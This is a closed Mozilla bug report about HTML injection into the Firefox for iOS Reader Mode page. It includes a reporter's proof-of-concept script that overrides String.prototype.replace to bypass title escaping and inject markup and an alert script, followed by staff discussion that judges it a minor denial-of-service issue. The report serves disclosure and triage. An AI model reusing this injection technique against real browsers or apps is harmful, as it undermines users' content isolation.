Closed Bug 1633140 Opened 5 years ago Closed 5 years ago

HTML Injection on Firefox iOS ReaderMode Page

Categories

(Firefox for iOS :: Reader View, defect, P3)

Product:
Firefox for iOS
Component:
Reader View
Type:
defect

Tracking

()

Status:
RESOLVED MOVED

People

(Reporter: vinothsparrow, Unassigned)

References

Details

(Keywords: csectype-dos, reporter-external, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Attachments

(1 file)

firefox.html
2.19 KB, text/html
Details
Attached file firefox.html —

Description:

In Firefox iOS, reader mode of a page is rendered at http://localhost:6571/reader-mode/page?url= and the url's contents are getting from webView.evaluateJavaScript("\(ReaderModeNamespace).readerize()" (https://github.com/mozilla-mobile/firefox-ios/blob/master/Client/Frontend/Browser/BrowserViewController/BrowserViewController+ReaderMode.swift#L109)

At the js side script tags and scripts would escaped for reader result. But this escaping could be bypassed by overriding String.prototype.replace as title of the page is escaped in function below

function escapeHTML(string) {
  return string
    .replace(/\&/g, "&")
    .replace(/\</g, "&lt;")
    .replace(/\>/g, "&gt;")
    .replace(/\"/g, "&quot;")
    .replace(/\'/g, "&#039;");
}

So the attached html POC code can inject custom html elements in ReaderMode page.

<script type="text/javascript">
        function proxyReplace(condition, replace) {
           if(this.indexOf('Firefox ReaderMode Inject') !== -1){
               if(this.indexOf('</title>') === -1){
                return originalReplace.bind(this+"<\/title><meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self' 'unsafe-inline'\"><\/head><body><marquee>This is injected content<\/marquee><script>alert(1)<\/script><!--", ' ', ' ')();
               }
           }
           return originalReplace.bind(this, condition, replace)();
        }
        originalReplace = String.prototype.replace;
        String.prototype.replace = proxyReplace;
    </script>

Was able to inject <script> and <meta> tags, but CSP violations was not able to bypass and run any javascript on page.

Steps:

Flags: sec-bounty?
Type: task → defect
Component: Security → Reader View
Product: Firefox → Firefox for iOS

Is this a security vulnerability? The "attacker" is the page we're reading, and it can already run script in order to pull this off.

What are the consequences of running script in the localhost context -- could pollute localstorage or other "Site" data that might be shared wth other reader-mode pages? What other content do we run from that origin?

Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(gkeeley)
See Also: → https://github.com/mozilla-mobile/firefox-ios/issues/6493
Group: firefox-core-security → mobile-core-security

This bug is part of a group of bugs in a security or private group which have the old default Severity of normal which has not been changed, and the default priority of --. This indicates that this bugs Severity should be set to -- so it will show up in triage lists.

Trying to set that severity again.

Severity: normal → --

Dan, sorry to be slow here, I have looked at your questions, I am nominating this in our triage to see if we can get an eng on the case for that (or maybe I'll get to it when I work on the sec doc for next week). Your questions are excellent because they raise the possibility of a malicious page doing things that may affect other reader mode pages.

In regards to this bug, this does seem like it would be good to improve this case (at first glance it looks like this unnecessary to do this function in JS rather than native side).
It does not however seem like an increased sec risk apart from the existing sec risk of being on a malicious page in general.

There is the larger scope of problems of readability.js running in the document JS context (i.e. overriding built-ins), but that we can address as part of a more comprehensive review.

Flags: needinfo?(gkeeley)

The priority flag is not set for this bug.
:garvan, could you have a look please?

For more information, please visit auto_nag documentation.

Flags: needinfo?(gkeeley)
Flags: needinfo?(gkeeley)
Priority: -- → P3

(In reply to Daniel Veditz [:dveditz] from comment #2)

Is this a security vulnerability? The "attacker" is the page we're reading, and it can already run script in order to pull this off.

I don't see why it is a sec bug, I agree a web page producing bad content has no need to use reader mode JS to do that. I don't see any particular advantage. Even if we fix this, the reader mode uses JS injected in the page (which has no JS sec sandbox or special privileges) and the page could manipulate this in numerous ways, which again falls under the umbrella of 'bad web page produces bad content' and isn't perceived as a reader-mode-specific sec problem.

The severity field is not set for this bug.
:garvan, could you have a look please?

For more information, please visit auto_nag documentation.

Flags: needinfo?(gkeeley)

I suppose it's a form of DoS if a page can easily mess up reader mode for the user. I don't know why they would do that, but there are all sorts of ways sites try to frustrate the wishes of the user (for example, password fields that can't be pasted into). Maybe they don't like the ad-suppression that happens, but the user will have already seen the ads before being able to turn on reader mode.

We don't need to keep this hidden.

Group: mobile-core-security
Keywords: csectype-dos

Moved to https://github.com/mozilla-mobile/firefox-ios/issues/6946
Apple now has WKContentWorld for content script sandboxing, we will fix this when it moves to that system.

Status: NEW → RESOLVED
Closed: 5 years ago
Flags: needinfo?(gkeeley)
Resolution: --- → MOVED

I'm sorry, but this bug does not meet the qualifications for a security bug bounty.

Flags: sec-bounty? → sec-bounty-
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: